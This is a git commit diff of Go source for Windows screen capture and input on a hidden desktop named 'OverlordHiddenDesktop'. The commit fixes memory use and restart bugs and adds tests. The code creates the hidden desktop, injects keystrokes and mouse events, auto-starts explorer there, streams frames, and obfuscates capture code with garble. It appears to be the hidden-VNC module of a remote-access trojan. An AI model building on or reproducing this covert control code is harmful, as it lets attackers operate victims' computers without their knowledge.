fix screenshot mem usage + fix backstage not starting after being stopped once

This commit is contained in:
KingKDot
2026-08-01 00:46:03 -05:00
parent b68a306708
commit 7b249457a1
18 changed files with 675 additions and 99 deletions
@@ -23,6 +23,7 @@ var (
procDWMCreateWindowExW = user32.NewProc("CreateWindowExW")
procDWMShowWindow = user32.NewProc("ShowWindow")
procDWMUpdateWindow = user32.NewProc("UpdateWindow")
procDWMDestroyWindow = user32.NewProc("DestroyWindow")
backstageDWMStateMu sync.Mutex
backstageDWMHost uintptr
backstageDWMThumbnails map[uintptr]*backstageDWMThumbnail
@@ -460,11 +461,23 @@ func backstageCleanupDWMThumbnails() {
defer backstageDWMStateMu.Unlock()
backstageUnregisterDWMThumbnailsLocked()
if backstageDWMHost != 0 {
procDWMShowWindow.Call(backstageDWMHost, 0)
// This runs on the worker that created the host. Destroying the HWND is
// required before that OS thread can be moved back to its original
// desktop; merely hiding it leaves SetThreadDesktop failing with
// ERROR_BUSY on the next lifecycle.
procDWMDestroyWindow.Call(backstageDWMHost)
}
backstageDWMHost = 0
}
func backstageAbandonDWMThumbnails() {
backstageDWMStateMu.Lock()
backstageDWMThumbnails = nil
backstageDWMOrder = nil
backstageDWMHost = 0
backstageDWMStateMu.Unlock()
}
func backstageUnregisterDWMThumbnailsLocked() {
for source, entry := range backstageDWMThumbnails {
procDwmUnregisterThumbnail.Call(entry.handle)
@@ -0,0 +1,25 @@
//go:build windows
package capture
import "testing"
func TestBackstageDesktopCanRestartAfterCleanup(t *testing.T) {
t.Cleanup(CleanupbackstageDesktop)
for cycle := 1; cycle <= 2; cycle++ {
if err := InitializebackstageDesktop(); err != nil {
t.Fatalf("cycle %d initialize: %v", cycle, err)
}
if err := ensurebackstageThread(); err != nil {
t.Fatalf("cycle %d worker: %v", cycle, err)
}
img, err := BackstageCaptureDisplay(0)
if err != nil {
t.Fatalf("cycle %d capture: %v", cycle, err)
}
if img == nil {
t.Fatalf("cycle %d capture returned no image", cycle)
}
CleanupbackstageDesktop()
}
}
@@ -2,7 +2,10 @@
package capture
import "testing"
import (
"testing"
"time"
)
func TestBackstageWindowCacheByteSizeAndLimit(t *testing.T) {
bytes, ok := backstageWindowCacheByteSize(3840, 2160)
@@ -52,3 +55,48 @@ func TestBackstagePrintWindowFallbackToggle(t *testing.T) {
t.Fatal("PrintWindow fallback did not re-enable")
}
}
func TestBackstagePrintWindowTimeoutQuarantinesHungWindow(t *testing.T) {
savedFn := backstagePrintWindowFn
savedCache := backstageWinCache
savedBytes := backstageWinCacheBytes
savedHung := backstageHungWindows
release := make(chan struct{})
returned := make(chan struct{})
backstagePrintWindowFn = func(_, _ uintptr, _ uint32) bool {
<-release
close(returned)
return true
}
entry := &backstageWinCacheEntry{bytes: 64}
const hwnd = uintptr(0x1234)
backstageWinCache = map[uintptr]*backstageWinCacheEntry{hwnd: entry}
backstageWinCacheBytes = entry.bytes
backstageHungWindows = make(map[uintptr]struct{})
t.Cleanup(func() {
close(release)
select {
case <-returned:
case <-time.After(time.Second):
t.Error("timed-out PrintWindow worker did not exit after release")
}
backstagePrintWindowFn = savedFn
backstageWinCache = savedCache
backstageWinCacheBytes = savedBytes
backstageHungWindows = savedHung
})
start := time.Now()
if backstagePrintWindowWithTimeout(hwnd, entry) {
t.Fatal("hung PrintWindow unexpectedly succeeded")
}
if elapsed := time.Since(start); elapsed > time.Second {
t.Fatalf("PrintWindow timeout took too long: %s", elapsed)
}
if backstageWinCache[hwnd] != nil || backstageWinCacheBytes != 0 {
t.Fatal("timed-out PrintWindow cache entry was not detached")
}
if _, ok := backstageHungWindows[hwnd]; !ok {
t.Fatal("timed-out window was not quarantined")
}
}
@@ -155,6 +155,7 @@ const (
var (
backstageDesktopHandle uintptr
backstageDesktopMu sync.Mutex
backstageCaptureMu sync.Mutex
backstageDesktopName = "OverlordHiddenDesktop"
backstageInitialized bool
backstageOriginalDesktop uintptr
@@ -163,6 +164,7 @@ var (
backstageThreadErr error
backstageThreadReady chan struct{}
backstageThreadTasks chan backstageTask
backstageThreadDone chan struct{}
backstageWatchdogOnce sync.Once
backstageNoWindowLogNs atomic.Int64
backstageInputMu sync.Mutex
@@ -191,6 +193,7 @@ var (
backstageWinCachePrev []byte
backstageWinCacheBytes int64
backstageWinCacheSeq uint64
backstageHungWindows map[uintptr]struct{}
backstageCompHdcMem uintptr
backstageCompHbmp uintptr
@@ -215,6 +218,7 @@ const (
backstageTaskKeyUp
backstageTaskMouseWheel
backstageTaskAutoStartExplorer
backstageTaskShutdown
)
type backstageTask struct {
@@ -293,6 +297,7 @@ type backstageWinCacheEntry struct {
const (
backstageMaxWindowCacheEntries = 64
backstageMaxWindowCacheBytes = int64(256 << 20)
backstagePrintWindowTimeout = 250 * time.Millisecond
)
type keybdInput struct {
@@ -388,8 +393,11 @@ func CleanupbackstageDesktop() {
resetH264D3D11TextureEncoder("backstage")
backstageCleanupFrameReaders()
captureMu.Lock()
backstageCleanupDWMThumbnails()
dwmCleaned, workerStopped := shutdownbackstageThreadLocked(time.Second)
if !dwmCleaned {
backstageAbandonDWMThumbnails()
}
backstageCaptureMu.Lock()
backstageFreeCapCache()
@@ -407,7 +415,7 @@ func CleanupbackstageDesktop() {
backstageCompBits = nil
backstageCompW = 0
backstageCompH = 0
captureMu.Unlock()
backstageCaptureMu.Unlock()
backstageInputMu.Lock()
backstageShiftDown = false
@@ -420,14 +428,10 @@ func CleanupbackstageDesktop() {
backstageInputMu.Unlock()
backstageLastScale.Store(0)
if backstageDesktopHandle != 0 {
if backstageOriginalDesktop != 0 {
procSetThreadDesktop.Call(backstageOriginalDesktop)
}
if backstageDesktopHandle != 0 && workerStopped {
procCloseDesktop.Call(backstageDesktopHandle)
backstageDesktopHandle = 0
}
backstageDesktopHandle = 0
backstageInitialized = false
backstageExplorerStarted = false
@@ -436,16 +440,52 @@ func CleanupbackstageDesktop() {
resetWinUI3Cache()
resetInputSiteCache()
if backstageThreadTasks != nil {
close(backstageThreadTasks)
backstageThreadTasks = nil
}
backstageThreadTasks = nil
backstageThreadReady = nil
backstageThreadDone = nil
backstageThreadErr = nil
backstageThreadOnce = sync.Once{}
backstageWatchdogOnce = sync.Once{}
}
func shutdownbackstageThreadLocked(timeout time.Duration) (dwmCleaned, stopped bool) {
tasks := backstageThreadTasks
done := backstageThreadDone
if tasks == nil || done == nil {
return false, true
}
if timeout <= 0 {
timeout = time.Second
}
resp := make(chan backstageTaskResult, 1)
task := backstageTask{kind: backstageTaskShutdown, resp: resp, id: backstageTaskSeq.Add(1), queuedAt: time.Now()}
timer := time.NewTimer(timeout)
defer timer.Stop()
select {
case tasks <- task:
case <-done:
return false, true
case <-timer.C:
log.Printf("backstage cleanup: worker shutdown enqueue timed out")
return false, false
}
select {
case result := <-resp:
dwmCleaned = result.err == nil
case <-done:
case <-timer.C:
log.Printf("backstage cleanup: worker shutdown timed out")
return false, false
}
select {
case <-done:
return dwmCleaned, true
case <-timer.C:
log.Printf("backstage cleanup: worker exit timed out")
return dwmCleaned, false
}
}
func SetbackstageCursorCapture(enabled bool) {
backstageCursorEnabled = enabled
}
@@ -476,31 +516,38 @@ func ensurebackstageThread() error {
}
backstageThreadOnce.Do(func() {
backstageThreadReady = make(chan struct{})
backstageThreadTasks = make(chan backstageTask)
ready := make(chan struct{})
tasks := make(chan backstageTask)
done := make(chan struct{})
backstageThreadReady = ready
backstageThreadTasks = tasks
backstageThreadDone = done
backstageWatchdogOnce.Do(func() {
go func() {
defer recoverAndLog("backstage watchdog", nil)
backstageThreadWatchdog()
}()
})
go func(handle uintptr) {
go func(handle, originalDesktop uintptr) {
defer recoverAndLog("backstage desktop thread", nil)
runtime.LockOSThread()
defer runtime.UnlockOSThread()
defer func() {
if originalDesktop != 0 {
procSetThreadDesktop.Call(originalDesktop)
}
close(done)
runtime.UnlockOSThread()
}()
r, _, err := procSetThreadDesktop.Call(handle)
if r == 0 {
backstageThreadErr = fmt.Errorf("failed to set thread desktop: %v", err)
close(backstageThreadReady)
for task := range backstageThreadTasks {
task.resp <- backstageTaskResult{err: backstageThreadErr}
}
close(ready)
return
}
close(backstageThreadReady)
for task := range backstageThreadTasks {
close(ready)
for task := range tasks {
start := time.Now()
backstageCurrentTaskID.Store(task.id)
backstageCurrentTaskKind.Store(int64(task.kind))
@@ -530,6 +577,8 @@ func ensurebackstageThread() error {
result.err = backstageMouseWheelOnThread(task.delta)
case backstageTaskAutoStartExplorer:
result.err = backstageAutoStartExplorerOnThread()
case backstageTaskShutdown:
backstageCleanupDWMThumbnails()
default:
result.img, result.err = BackstageCaptureDisplayOnThread(task.display)
}
@@ -547,8 +596,11 @@ func ensurebackstageThread() error {
backstageCurrentTaskKind.Store(-1)
backstageCurrentTaskID.Store(0)
task.resp <- result
if task.kind == backstageTaskShutdown {
return
}
}
}(desktopHandle)
}(desktopHandle, backstageOriginalDesktop)
})
if backstageThreadReady != nil {
@@ -774,6 +826,8 @@ func backstageTaskKindName(kind backstageTaskKind) string {
return "mouse_wheel"
case backstageTaskAutoStartExplorer:
return "auto_start_explorer"
case backstageTaskShutdown:
return "shutdown"
default:
return fmt.Sprintf("unknown(%d)", kind)
}
@@ -874,8 +928,8 @@ func backstageEnsureCapCache(w, h int) (uintptr, uintptr, []byte, bool) {
func BackstageCaptureDisplayOnThread(display int) (*image.RGBA, error) {
//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
captureMu.Lock()
defer captureMu.Unlock()
backstageCaptureMu.Lock()
defer backstageCaptureMu.Unlock()
setDPIAware()
@@ -1720,6 +1774,11 @@ func drawbackstageWindowsToBuffer(hdcScreen uintptr, bounds image.Rectangle, tar
backstageRemoveWindowCacheEntry(h)
}
}
for h := range backstageHungWindows {
if !alive[h] {
delete(backstageHungWindows, h)
}
}
return drawn
}
@@ -1811,6 +1870,18 @@ func backstageRemoveWindowCacheEntry(hwnd uintptr) {
}
}
func backstageDetachWindowCacheEntry(hwnd uintptr, entry *backstageWinCacheEntry) bool {
if backstageWinCache[hwnd] != entry {
return false
}
delete(backstageWinCache, hwnd)
backstageWinCacheBytes -= entry.bytes
if backstageWinCacheBytes < 0 {
backstageWinCacheBytes = 0
}
return true
}
func backstageClearWindowCache() {
for hwnd := range backstageWinCache {
backstageRemoveWindowCacheEntry(hwnd)
@@ -1834,6 +1905,8 @@ var backstageDXGIEnabled atomic.Bool
var backstageUIAEnabled atomic.Bool
var backstagePrintWindowFallbackEnabled atomic.Bool
var backstagePrintWindowFallbackLogNs atomic.Int64
var backstagePrintWindowTimeoutLogNs atomic.Int64
var backstagePrintWindowFn = printWindow
func init() {
backstageDXGIEnabled.Store(false) // disabled by default
@@ -1865,6 +1938,49 @@ func GetbackstagePrintWindowFallbackEnabled() bool {
return backstagePrintWindowFallbackEnabled.Load()
}
func backstagePrintWindowWithTimeout(hwnd uintptr, entry *backstageWinCacheEntry) bool {
if backstageHungWindows == nil {
backstageHungWindows = make(map[uintptr]struct{})
}
if _, quarantined := backstageHungWindows[hwnd]; quarantined {
return false
}
var ownership atomic.Int32 // 0=racing, 1=caller keeps cache, 2=worker frees detached cache
done := make(chan bool, 1)
go func() {
ok := false
func() {
defer func() { _ = recover() }()
ok = backstagePrintWindowFn(hwnd, entry.hdcMem, PW_RENDERFULLCONTENT)
}()
if ownership.CompareAndSwap(0, 1) {
done <- ok
return
}
backstageFreeCacheEntry(entry)
}()
timer := time.NewTimer(backstagePrintWindowTimeout)
defer timer.Stop()
select {
case ok := <-done:
return ok
case <-timer.C:
if !ownership.CompareAndSwap(0, 2) {
return <-done
}
backstageDetachWindowCacheEntry(hwnd, entry)
backstageHungWindows[hwnd] = struct{}{}
now := time.Now().UnixNano()
last := backstagePrintWindowTimeoutLogNs.Load()
if now-last > int64(5*time.Second) && backstagePrintWindowTimeoutLogNs.CompareAndSwap(last, now) {
log.Printf("backstage capture: PrintWindow timed out for hwnd=0x%x; quarantining window", hwnd)
}
return false
}
}
func drawbackstageWindowFromDXGI(hwnd uintptr, winLeft, winTop, winW, winH int, bounds image.Rectangle, target []byte, targetStride int) bool {
if !backstageDXGIEnabled.Load() {
return false
@@ -1986,7 +2102,10 @@ func drawbackstageWindow(hdcScreen, hwnd uintptr, bounds image.Rectangle, target
return false
}
if !printWindow(hwnd, entry.hdcMem, PW_RENDERFULLCONTENT) {
if !backstagePrintWindowWithTimeout(hwnd, entry) {
if backstageWinCache[hwnd] != entry {
return false
}
entry.lastOK = false
entry.age++
return false
+35 -23
View File
@@ -530,14 +530,13 @@ const desktopHardwareH264FallbackCooldown = 30 * time.Second
var consecutiveCaptureFails atomic.Int64
var (
fpsWindowStart atomic.Int64
fpsCount atomic.Int64
fpsLatest atomic.Int64
lastFrameLog atomic.Int64
metricsOnce sync.Once
metricsEnabled bool
lastKeyframe atomic.Int64
fullNextFrames atomic.Int64
desktopFPSCounter frameRateCounter
backstageFPSCounter frameRateCounter
lastFrameLog atomic.Int64
metricsOnce sync.Once
metricsEnabled bool
lastKeyframe atomic.Int64
fullNextFrames atomic.Int64
desktopRecoveryAfterBackstageStart atomic.Bool
statFrames atomic.Int64
@@ -576,6 +575,12 @@ var (
backstageLastKeyframe atomic.Int64
)
type frameRateCounter struct {
windowStart atomic.Int64
count atomic.Int64
latest atomic.Int64
}
type prevImage struct {
w int
h int
@@ -604,28 +609,36 @@ func logCodecSupport() {
})
}
func frameFPS(now time.Time) int {
start := fpsWindowStart.Load()
func (c *frameRateCounter) fps(now time.Time) int {
start := c.windowStart.Load()
if start == 0 {
if fpsWindowStart.CompareAndSwap(0, now.UnixNano()) {
fpsCount.Store(1)
return int(fpsLatest.Load())
if c.windowStart.CompareAndSwap(0, now.UnixNano()) {
c.count.Store(1)
return int(c.latest.Load())
}
start = fpsWindowStart.Load()
start = c.windowStart.Load()
}
fpsCount.Add(1)
c.count.Add(1)
elapsed := time.Duration(now.UnixNano() - start)
if elapsed >= time.Second {
frames := fpsCount.Swap(0)
frames := c.count.Swap(0)
if frames > 0 {
fps := int(float64(frames) / elapsed.Seconds())
fpsLatest.Store(int64(fps))
c.latest.Store(int64(fps))
}
fpsWindowStart.Store(now.UnixNano())
c.windowStart.Store(now.UnixNano())
}
return int(fpsLatest.Load())
return int(c.latest.Load())
}
func frameFPS(now time.Time) int {
return desktopFPSCounter.fps(now)
}
func backstageFrameFPS(now time.Time) int {
return backstageFPSCounter.fps(now)
}
func shouldLogFrame(now time.Time) bool {
@@ -693,7 +706,6 @@ func CleanupDesktopStream() {
ResetDesktopCapture()
ResetPrev()
resetHEVCEncoder()
ResetFrameSlots()
}
func ResetPrevbackstage() {
@@ -1903,7 +1915,7 @@ func captureAndSendVirtual(ctx context.Context, env *rt.Env) error {
}
now := time.Now()
fps := frameFPS(now)
fps := backstageFrameFPS(now)
if fps <= 0 {
fps = 1
}
@@ -1954,7 +1966,7 @@ func captureAndSendVirtual(ctx context.Context, env *rt.Env) error {
func virtualSendCompletedFrame(ctx context.Context, env *rt.Env, frame wire.Frame, t0 time.Time, captureDur, encodeDur time.Duration) error {
now := time.Now()
fps := frameFPS(now)
fps := backstageFrameFPS(now)
if fps <= 0 {
fps = 1
}
@@ -2053,7 +2065,7 @@ func captureAndSendbackstage(ctx context.Context, env *rt.Env) error {
}
now := time.Now()
fps := frameFPS(now)
fps := backstageFrameFPS(now)
if fps <= 0 {
fps = 1
}
@@ -11,3 +11,9 @@ func CaptureDisplayRGBABitBlt(display int) (*image.RGBA, error) {
func CaptureDisplayRGBAPreferBitBlt(display int) (*image.RGBA, error) {
return CaptureDisplayRGBA(display)
}
func CaptureDisplayRGBAThumbnail(display, _ int) (*image.RGBA, error) {
return CaptureDisplayRGBA(display)
}
func CleanupThumbnailCapture() {}
@@ -15,3 +15,13 @@ func CaptureDisplayRGBAPreferBitBlt(display int) (*image.RGBA, error) {
}
return CaptureDisplayRGBA(display)
}
func CaptureDisplayRGBAThumbnail(display, maxHeight int) (*image.RGBA, error) {
return captureDisplayThumbnailBitBlt(display, maxHeight)
}
func CleanupThumbnailCapture() {
thumbnailMu.Lock()
thumbnailState.reset()
thumbnailMu.Unlock()
}
@@ -361,6 +361,27 @@ func TestFrameFPS(t *testing.T) {
t.Logf("Calculated FPS: %d", fps)
}
func TestDesktopAndBackstageFPSCountersAreIndependent(t *testing.T) {
var desktop frameRateCounter
var backstage frameRateCounter
start := time.Unix(100, 0)
desktop.fps(start)
backstage.fps(start)
for i := 1; i <= 59; i++ {
desktop.fps(start.Add(time.Duration(i) * time.Second / 60))
}
desktopFPS := desktop.fps(start.Add(time.Second))
backstageFPS := backstage.fps(start.Add(time.Second))
if desktopFPS < 55 || desktopFPS > 65 {
t.Fatalf("expected desktop counter near 60 fps, got %d", desktopFPS)
}
if backstageFPS != 2 {
t.Fatalf("expected backstage counter to contain only its two samples, got %d fps", backstageFPS)
}
}
func TestJPEGQuality(t *testing.T) {
quality := desktopJPEGQuality()
if quality < 1 || quality > 100 {
@@ -570,6 +591,60 @@ func TestSetFrameFlowTargetFPSEnvOverride(t *testing.T) {
}
}
func TestStoppingDesktopPreservesBackstageFrameFlow(t *testing.T) {
t.Setenv("OVERLORD_DESKTOP_IN_FLIGHT_FRAMES", "")
frameStreamsMu.Lock()
frameStreams = make(map[string]int)
frameStreamsMu.Unlock()
ResetFrameSlots()
t.Cleanup(func() {
StopFrameFlowStream("desktop")
StopFrameFlowStream("backstage")
})
StartFrameFlowStream("desktop", 60)
StartFrameFlowStream("backstage", 60)
if got := activeFrameSlotLimit(); got != 8 {
t.Fatalf("expected combined 120 fps slot limit 8, got %d", got)
}
inFlightFrames.Store(2)
frameAckSeen.Store(true)
StopFrameFlowStream("desktop")
if got := activeFrameSlotLimit(); got != 4 {
t.Fatalf("expected remaining backstage 60 fps slot limit 4, got %d", got)
}
if got := inFlightFrames.Load(); got != 2 {
t.Fatalf("desktop stop reset %d backstage in-flight frames", got)
}
if !frameAckSeen.Load() {
t.Fatal("desktop stop disabled ACK flow control while backstage remained active")
}
StopFrameFlowStream("backstage")
if got := inFlightFrames.Load(); got != 0 {
t.Fatalf("last stream stop left %d in-flight frames", got)
}
if frameAckSeen.Load() {
t.Fatal("last stream stop did not reset ACK flow state")
}
}
func TestInactiveStreamTargetDoesNotChangeActiveFrameFlow(t *testing.T) {
t.Setenv("OVERLORD_DESKTOP_IN_FLIGHT_FRAMES", "")
frameStreamsMu.Lock()
frameStreams = make(map[string]int)
frameStreamsMu.Unlock()
ResetFrameSlots()
t.Cleanup(func() { StopFrameFlowStream("backstage") })
StartFrameFlowStream("backstage", 60)
UpdateFrameFlowStream("desktop", 240)
if got := activeFrameSlotLimit(); got != 4 {
t.Fatalf("inactive desktop target changed backstage slot limit to %d", got)
}
}
func TestRequestDesktopFullFrameRequestsWebRTCKeyframe(t *testing.T) {
_ = webrtcpub.ConsumeKeyframeRequest(webrtcpub.KindDesktop)
@@ -4,6 +4,7 @@ import (
"os"
"strconv"
"strings"
"sync"
"sync/atomic"
"time"
)
@@ -15,6 +16,8 @@ var (
frameAckSeen atomic.Bool
lastAckNano atomic.Int64
maxFrameSlots atomic.Int64
frameStreamsMu sync.Mutex
frameStreams = make(map[string]int)
)
func AcquireFrameSlot() bool {
@@ -54,6 +57,48 @@ func ResetFrameSlots() {
}
func SetFrameFlowTargetFPS(fps int) {
maxFrameSlots.Store(frameSlotLimitForFPS(fps))
}
func StartFrameFlowStream(stream string, fps int) {
frameStreamsMu.Lock()
frameStreams[stream] = fps
applyActiveFrameStreamLimitLocked()
frameStreamsMu.Unlock()
}
func UpdateFrameFlowStream(stream string, fps int) {
frameStreamsMu.Lock()
if _, active := frameStreams[stream]; active {
frameStreams[stream] = fps
applyActiveFrameStreamLimitLocked()
}
frameStreamsMu.Unlock()
}
func StopFrameFlowStream(stream string) {
frameStreamsMu.Lock()
delete(frameStreams, stream)
if len(frameStreams) == 0 {
ResetFrameSlots()
maxFrameSlots.Store(defaultMaxInFlightFrames)
} else {
applyActiveFrameStreamLimitLocked()
}
frameStreamsMu.Unlock()
}
func applyActiveFrameStreamLimitLocked() {
combinedFPS := 0
for _, fps := range frameStreams {
if fps > 0 {
combinedFPS += fps
}
}
maxFrameSlots.Store(frameSlotLimitForFPS(combinedFPS))
}
func frameSlotLimitForFPS(fps int) int64 {
limit := defaultMaxInFlightFrames
switch {
case fps >= 180:
@@ -75,7 +120,7 @@ func SetFrameFlowTargetFPS(fps int) {
}
}
}
maxFrameSlots.Store(limit)
return limit
}
func activeFrameSlotLimit() int64 {
@@ -139,11 +139,11 @@ func CleanupVirtualMode() {
virtualDupState.mu.Unlock()
ResetPrevbackstage()
resetH264D3D11TextureEncoder("backstage")
captureMu.Lock()
backstageCaptureMu.Lock()
backstageFreeCapCache()
backstageClearWindowCache()
virtualCapImg = nil
captureMu.Unlock()
backstageCaptureMu.Unlock()
virtualInputMu.Lock()
virtualShiftDown = false
@@ -2393,8 +2393,8 @@ var (
)
func VirtualCaptureDisplayFallback() (*image.RGBA, error) {
captureMu.Lock()
defer captureMu.Unlock()
backstageCaptureMu.Lock()
defer backstageCaptureMu.Unlock()
setDPIAware()
+47 -21
View File
@@ -165,9 +165,9 @@ var (
maxResHeight atomic.Int64 // 0 = default (1080), -1 = native, >0 = specific max height
lastCapScale atomic.Uint64
state capState
thumbnailState capState
captureMu sync.Mutex
stateCreatedAt time.Time
thumbnailMu sync.Mutex
stateRefreshInterval = 30 * time.Second
)
@@ -186,9 +186,18 @@ var captureDisplayFn = func(display int) (*image.RGBA, error) {
}
func captureDisplayBitBlt(display int) (*image.RGBA, error) {
captureMu.Lock()
defer captureMu.Unlock()
return captureDisplayBitBltWithState(display, &state, 0)
}
func captureDisplayThumbnailBitBlt(display, maxHeight int) (*image.RGBA, error) {
thumbnailMu.Lock()
defer thumbnailMu.Unlock()
return captureDisplayBitBltWithState(display, &thumbnailState, maxHeight)
}
func captureDisplayBitBltWithState(display int, captureState *capState, forcedMaxHeight int) (*image.RGBA, error) {
setDPIAware()
@@ -223,7 +232,10 @@ func captureDisplayBitBlt(display int) (*image.RGBA, error) {
}
}
userScale := effectiveScale(srcW, srcH)
userScale := scaleForMaxHeight(srcH, forcedMaxHeight)
if forcedMaxHeight <= 0 {
userScale = effectiveScale(srcW, srcH)
}
dstW := int(float64(srcW) * userScale)
dstH := int(float64(srcH) * userScale)
if dstW <= 0 || dstH <= 0 {
@@ -265,7 +277,7 @@ func captureDisplayBitBlt(display int) (*image.RGBA, error) {
}
captureWithDC := func() (*image.RGBA, time.Duration, time.Duration, time.Duration, error) {
hdcMem, _, buf, stride, err := state.ensure(hdcScreen, capW, capH)
hdcMem, _, buf, stride, err := captureState.ensure(hdcScreen, capW, capH)
if err != nil {
return nil, 0, 0, 0, err
}
@@ -278,8 +290,8 @@ func captureDisplayBitBlt(display int) (*image.RGBA, error) {
captured = bitBltWithFallback(hdcMem, hdcScreen, bounds, capW, capH)
}
if !captured {
state.reset()
hdcMem, _, buf, stride, err = state.ensure(hdcScreen, capW, capH)
captureState.reset()
hdcMem, _, buf, stride, err = captureState.ensure(hdcScreen, capW, capH)
if err != nil {
return nil, 0, 0, 0, err
}
@@ -328,13 +340,13 @@ func captureDisplayBitBlt(display int) (*image.RGBA, error) {
return img, bitDur, dibDur, convDur, nil
}
if !stateCreatedAt.IsZero() && time.Since(stateCreatedAt) > stateRefreshInterval {
state.reset()
if !captureState.createdAt.IsZero() && time.Since(captureState.createdAt) > stateRefreshInterval {
captureState.reset()
}
img, bitDur, dibDur, convDur, err := captureWithDC()
if err != nil && fromCreateDC {
state.reset()
captureState.reset()
closeDC()
hdcScreen = getDC(0)
fromCreateDC = false
@@ -344,7 +356,7 @@ func captureDisplayBitBlt(display int) (*image.RGBA, error) {
img, bitDur, dibDur, convDur, err = captureWithDC()
}
if err != nil {
state.reset()
captureState.reset()
return nil, err
}
@@ -447,14 +459,15 @@ func resizeNearest(src *image.RGBA, w, h int) *image.RGBA {
}
type capState struct {
mu sync.Mutex
hdcMem uintptr
hbmp uintptr
buf []byte
stride int
w int
h int
bits unsafe.Pointer
mu sync.Mutex
hdcMem uintptr
hbmp uintptr
buf []byte
stride int
w int
h int
bits unsafe.Pointer
createdAt time.Time
}
func (s *capState) ensure(hdcScreen uintptr, w, h int) (uintptr, uintptr, []byte, int, error) {
@@ -466,7 +479,7 @@ func (s *capState) ensure(hdcScreen uintptr, w, h int) (uintptr, uintptr, []byte
if s.hdcMem == 0 {
return 0, 0, nil, 0, syscall.EINVAL
}
stateCreatedAt = time.Now()
s.createdAt = time.Now()
}
if s.w != w || s.h != h || s.hbmp == 0 {
@@ -519,7 +532,7 @@ func (s *capState) reset() {
s.w = 0
s.h = 0
s.bits = nil
stateCreatedAt = time.Time{}
s.createdAt = time.Time{}
}
func captureScale() float64 {
@@ -554,6 +567,19 @@ func effectiveScale(srcW, srcH int) float64 {
return s
}
func scaleForMaxHeight(srcH, maxHeight int) float64 {
s := captureScale()
if s > 1 {
s = 1
}
if maxHeight > 0 && srcH > maxHeight {
if capScale := float64(maxHeight) / float64(srcH); capScale < s {
s = capScale
}
}
return s
}
func storeLastScale(s float64) {
lastCapScale.Store(math.Float64bits(s))
}